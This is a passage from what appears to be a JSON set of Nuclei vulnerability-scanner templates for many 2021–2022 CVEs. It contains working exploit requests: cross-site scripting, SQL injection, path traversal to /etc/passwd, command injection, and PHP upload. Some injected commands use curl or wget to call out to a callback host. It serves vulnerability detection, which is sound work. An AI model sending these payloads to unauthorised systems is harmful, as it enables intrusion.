{{RootURL}}/admin/variable/\n\n------WebKitFormBoundaryB874qcjbpxTP1Hj7\nContent-Disposition: form-data; name=\"csrf_token\"\n\n{{csrf}}\n------WebKitFormBoundaryB874qcjbpxTP1Hj7\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.json\"\nContent-Type: application/json\n\n{\n \"type\": \"{{randstr}}\"\n}\n\n------WebKitFormBoundaryB874qcjbpxTP1Hj7--\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, \"Sign In\")","status_code_2 == 302","contains(header_2, \"session=.\")"],"condition":"and"},{"type":"word","words":["You should be redirected automatically to target URL: "]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["type=\"hidden\" value=\"(.*?)\">"],"internal":true}]}]},{"id":"CVE-2021-26723","info":{"name":"Jenzabar 9.2x-9.2.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-36260","info":{"name":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical"},"requests":[{"raw":["PUT /SDK/webLanguage HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\n$(echo {{string}}>webLib/x)\n","GET /x HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["{{string}}"]}]}]},{"id":"CVE-2021-32853","info":{"name":"Erxes <0.23.0 - Cross-Site Scripting","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["topic_id: \"","window.erxesEnv"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-39146","info":{"name":"XStream 1.4.18 - Arbitrary Code Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n \n test\n \n \n \n \n 0.75\n 525\n \n 700\n 0\n \n \n \n zh_CN\n \n \n \n \n \n \n \n \n \n \n 0.75\n 525\n \n 700\n 1\n lazyValue\n \n javax.naming.InitialContext\n doLookup\n \n ldap://{{interactsh-url}}/#evil\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n test\n \n test\n \n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["timestamp","com.thoughtworks.xstream"],"condition":"or"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-24351","info":{"name":"WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\naction=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","the-plus-addons-for-elementor"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-36873","info":{"name":"WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/options.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on\n","GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(header_4, \"text/html\")","status_code_4 == 200","contains(body_4, 'blockcountry_blockmessage\\\">test')","contains(body_4, '

    Block type

    ')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2021-23241","info":{"name":"MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/loginLess/../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-37416","info":{"name":"Zoho ManageEngine ADSelfService Plus <=6103 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":[">","adsf/js/"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22145","info":{"name":"Elasticsearch 7.10.0-7.13.3 - Information Disclosure","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/_bulk"],"body":"@\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["root_cause","truncated","reason"],"condition":"and"},{"type":"status","status":[400]}]}]},{"id":"CVE-2021-24647","info":{"name":"Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login","severity":"high"},"requests":[{"raw":["GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","POST /login/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{randstr}}&pwd={{randstr}}&social_site=true&user_id_social_site=1&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/profile.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_1, \"pieregister\")","contains(body_3, \"Username\") && contains(body_3, \"email-description\")"],"condition":"and"}]}]},{"id":"CVE-2021-24956","info":{"name":"Blog2Social < 6.8.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=blog2social&b2sShowByDate=\"> HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\" name=","Your Activity"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27520","info":{"name":"FUDForum 3.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x\"+onmouseover%3Dalert%28document.domain%29+x%3D","{{BaseURL}}/forum/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x\"+onmouseover%3Dalert%28document.domain%29+x%3D%22"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onmouseover=alert(document.domain) x=","FUDforum"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46704","info":{"name":"GenieACS => 1.2.8 - OS Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/ping/;`id`"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/plain"]},{"type":"regex","part":"body","regex":["uid=([0-9]+)"]},{"type":"status","status":[500]}],"extractors":[{"type":"regex","regex":["uid=(\\d+)\\((\\w+)\\)"],"part":"body"}]}]},{"id":"CVE-2021-21801","info":{"name":"Advantech R-SeeNet - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"zlo onerror=alert(1) \"","Device Status Graph"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24214","info":{"name":"WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["OpenID Connect Generic Client"]}]},{"method":"GET","path":["{{BaseURL}}/wp-login.php?login-error="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ERROR ():","Login with OpenID Connect"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-39144","info":{"name":"XStream 1.4.18 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n \n \n \n 2\n \n 3\n \n java.lang.Comparable\n \n true\n java.lang.Comparable\n \n \n \n java.lang.Comparable\n compareTo\n \n java.lang.Object\n \n \n \n \n \n java.lang.Runtime\n exec\n \n java.lang.String\n \n \n \n \n \n \n \n curl http://{{interactsh-url}}\n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2021-42565","info":{"name":"myfactory FMS - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20038","info":{"name":"SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat(\"A\", 518)}} HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"prefix_addr":["%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf"],"system_addr":["%08%b7%06%08","%64%b8%06%08"]},"attack":"clusterbomb","matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2021-28854","info":{"name":"VICIdial Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/agc/vicidial_mysqli_errors.txt"],"matchers-condition":"and","matchers":[{"type":"word","words":["text/plain"],"part":"header"},{"type":"status","status":[200]},{"type":"word","words":["vdc_db_query"],"part":"body"}]}]},{"id":"CVE-2021-27909","info":{"name":"Mautic <3.3.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/passwordreset?bundle=';alert(document.domain);var+ok='"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'';alert(document.domain);var ok='","mauticBasePath"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24436","info":{"name":"WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=w3tc_extensions&extension=\"%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, '>&action=view')","contains(header_2, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2021-46069","info":{"name":"Vehicle Service Management System 1.0 - Stored Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{username}}&password={{password}}\n","POST /classes/Master.php?f=save_mechanic HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid=&name=%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&contact=asd1&email=asd1@asd.com&status=1\n","GET /admin/?page=mechanics HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, 'text/html')","status_code_3 == 200","contains(body_3, \"\\\">\")"],"condition":"and"}]}]},{"id":"CVE-2021-27320","info":{"name":"Doctor Appointment System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 10s\nPOST /contactus.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfirstname=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&lastname={{randstr}}&email={{randstr}}%40test.com&comment={{randstr}}&submit=Send+Us\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 500","contains(body, \"Medical Management System\")"],"condition":"and"}]}]},{"id":"CVE-2021-43831","info":{"name":"Gradio < 2.5.0 - Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/file/../../../../../../../../../../../../../../../../../..{{path}}"],"payloads":{"path":["/etc/passwd","/windows/win.ini"]},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:","\\[(font|extension|file)s\\]"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24145","info":{"name":"WordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nContent-Type: multipart/form-data; boundary=---------------------------132370916641787807752589698875\n\n-----------------------------132370916641787807752589698875\nContent-Disposition: form-data; name=\"feed\"; filename=\"{{randstr}}.php\"\nContent-Type: text/csv\n\n\n\n-----------------------------132370916641787807752589698875\nContent-Disposition: form-data; name=\"mec-ix-action\"\n\nimport-start-bookings\n-----------------------------132370916641787807752589698875--\n","GET /wp-content/uploads/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["{{md5(string)}}"]}]}]},{"id":"CVE-2021-1499","info":{"name":"Cisco HyperFlex HX Data Platform - Arbitrary File Upload","severity":"medium"},"requests":[{"raw":["POST /upload HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------253855577425106594691130420583\nOrigin: {{RootURL}}\nReferer: {{RootURL}}\n\n-----------------------------253855577425106594691130420583\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../tmp/passwd9\"\nContent-Type: application/json\n\nMyPasswdNewData->/api/tomcat\n\n-----------------------------253855577425106594691130420583--\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["{\"result\":","\"filename:","/tmp/passwd9"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25078","info":{"name":"Affiliates Manager < 2.9.0 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /?wpam_id=1 HTTP/1.1\nHost: {{Hostname}}\nX-Forwarded-For: \n","GET /wp-admin/admin.php?page=wpam-clicktracking HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200 && status_code_3 == 200","contains(header_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"Affiliates Manager Click Tracking\")"],"condition":"and"}]}]},{"id":"CVE-2021-24288","info":{"name":"WordPress AcyMailing <7.5.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?page=acymailing_front&ctrl=frontusers&noheader=1&user[email]=example@mail.com&ctrl=frontusers&task=subscribe&option=acymailing&redirect=https://interact.sh&ajax=0&acy_source=widget%202&hiddenlists=1&acyformname=formAcym93841&acysubmode=widget_acym"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2021-26247","info":{"name":"Cacti - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42013","info":{"name":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n\n","GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n\n","POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\necho Content-Type: text/plain; echo; {{cmd}}\n\n"],"stop-at-first-match":true,"unsafe":true,"matchers-condition":"or","matchers":[{"type":"word","name":"RCE","words":["CVE-2021-42013"]},{"type":"regex","name":"LFI","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-25085","info":{"name":"WOOF WordPress plugin - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"additional_fields\":[\"\"]}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27132","info":{"name":"Sercomm VD625 Smart Modems - CRLF Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Content-Disposition: attachment;filename=test.txt","Set-Cookie:CRLFInjection=Test","Location: interact.sh","X-XSS-Protection:0"],"condition":"and"},{"type":"status","part":"header","status":[404]}]}]},{"id":"CVE-2021-31537","info":{"name":"SIS Informatik REWE GO SP17 <7.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","SIS-REWE"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2021-43798","info":{"name":"Grafana v8.x - Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd","{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini","{{BaseURL}}/public/plugins/alertlist/../../../../../conf/defaults.ini"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/plain"]},{"type":"regex","regex":["root:.*:0:([0-9]+):","\\/tmp\\/grafana\\.sock","\\[(fonts|extensions|Mail|files)\\]"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24389","info":{"name":"WordPress FoodBakery <2.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/listings/?search_title=&location=&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41174","info":{"name":"Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"],"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","words":["Grafana","frontend_boot_js_done_time_seconds"],"condition":"and"},{"type":"regex","regex":["\"subTitle\":\"Grafana (v8\\.(?:(?:1|0)\\.[0-9]|2\\.[0-2]))"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"subTitle\":\"Grafana ([a-z0-9.]+)"]}]}]},{"id":"CVE-2021-25899","info":{"name":"Void Aural Rec Monitor 9.0.0.1 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 15s\nPOST /AurallRECMonitor/services/svc-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nparam1=dummy'+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))dummy)--+dummy¶m2=test\n"],"matchers":[{"type":"dsl","dsl":["duration>=7","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Contacte con el administrador\")"],"condition":"and"}]}]},{"id":"CVE-2021-33544","info":{"name":"Geutebruck - Remote Command Injection","severity":"high"},"requests":[{"raw":["GET //uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(wget%20http://{{interactsh-url}})&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-41460","info":{"name":"ECShop 4.1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /delete_cart_goods.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid=1||(updatexml(1,concat(0x7e,(select%20md5({{num}}))),1))\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["c8c605999f3d8352d7bb792cf3fdb25"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29200","info":{"name":"Apache OFBiz < 17.12.07 - Arbitrary Code Execution","severity":"critical"},"requests":[{"raw":["POST /webtools/control/SOAPService HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n \n \n \n \n \n \n {{generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"hex\")}}\n \n \n \n \n \n \n \n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["value=\"responseMessage\""]}]}]},{"id":"CVE-2021-41691","info":{"name":"openSIS Student Information System 8.0 SQL Injection","severity":"high"},"requests":[{"raw":["POST /index.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nUSERNAME={{username}}&PASSWORD={{password}}&language=en&log=\n","POST /TransferredOutModal.php?modfunc=detail HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nstudent_id=updatexml(0x23,concat(1,md5({{num}})),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5\n"],"attack":"pitchfork","payloads":{"username":["student"],"password":["student@123"]},"matchers":[{"type":"dsl","dsl":["contains(body_2, \""],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["imgNavLeftXX\\\">","({});",">.js"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2174","info":{"name":"microweber 1.2.18 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/module?type=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&live_edit=true&from_url=test"],"matchers":[{"type":"dsl","dsl":["status_code == 500","contains(body, \"\") && contains(body, \"microweber\")","contains(content_type, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2022-46934","info":{"name":"kkFileView 4.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls"],"matchers-condition":"and","matchers":[{"type":"word","words":["document.getElementById(\"http://\");alert(document.domain);//\").click();","viewer.min.css"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32026","info":{"name":"Car Rental Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/ajax.php?action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /admin/manage_booking.php?id=-1%20union%20select%201,2,3,4,5,6,md5({{num}}),8,9,10,11--+ HTTP/1.1\nHost: {{Hostname}}\n"],"skip-variables-check":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45805","info":{"name":"WordPress Paytm Payment Gateway <=2.7.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 15s\nGET /wp-admin/post.php?post=1+AND+(SELECT+6205+FROM+(SELECT(SLEEP(6)))RtRs)&action=edit HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(body_2, \"toplevel_page_paytm\")"],"condition":"and"}]}]},{"id":"CVE-2022-39960","info":{"name":"Jira Netic Group Export <1.0.3 - Missing Authorization","severity":"medium"},"requests":[{"raw":["POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ngroupexport_searchstring=&groupexport_download=true\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"jiraGroupObjects\"","\"groupName\""],"condition":"and"},{"type":"word","part":"header","words":["attachment","jira-group-export"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29303","info":{"name":"SolarView Compact 6.00 - OS Command Injection","severity":"critical"},"requests":[{"raw":["@timeout: 25s\nPOST /conf_mail.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nmail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0"]},{"type":"word","part":"body","words":["p1_network_mail.cgi"]}]}]},{"id":"CVE-2022-34121","info":{"name":"CuppaCMS v1.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /templates/default/html/windows/right.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: 